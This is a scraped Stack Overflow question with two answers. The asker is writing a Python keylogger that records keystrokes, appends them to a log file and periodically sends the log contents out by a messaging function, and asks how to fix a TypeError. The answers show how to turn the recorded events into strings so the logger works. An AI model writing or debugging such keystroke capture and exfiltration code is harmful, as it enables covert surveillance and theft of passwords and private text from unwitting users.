问题
def file_input(recorded):
now_time = datetime.datetime.now()
w = open("LOG.txt", 'a')
w.write(recorded)
w.write("\n")
w.write(now_time)
w.write("--------------------------------------")
w .close()
if name == "main":
while 1:
status = time.localtime()
result = []
keyboard.press_and_release('space')
recorded = keyboard.record(until='enter')
file_input(recorded)
if (status.tm_min == 30):
f = open("LOG.txt", 'r')
file_content = f.read()
f.close()
send_simple_message(file_content)
im trying to write a keylogger in python and i faced type error like that how can i solve this problem?
i just put in recorded variable into write() and it makes type error and recorded variable type is list. so i tried use join func but it doesn't worked
回答1:
You're trying to write to a file using w.write()
but it only takes a string as an argument.
now_time
is a 'datetime' type and not a string. if you don't need to format the date, you can just do this instead:
w.write(str(nowtime))
Same thing with
w.write(recorded)
recorded
is a list of events, you need to use it to construct a string before trying to write that string into the file. For example:
recorded = keyboard.record(until='enter')
typedstr = " ".join(keyboard.get_typed_strings(recorded))
Then, inside file_input()
function, you can:
w.write(typedstr)
回答2:
By changing to w.write(str(recorded))
my problem was solved.
来源:https://stackoverflow.com/questions/41454921/typeerror-write-argument-must-be-str-not-list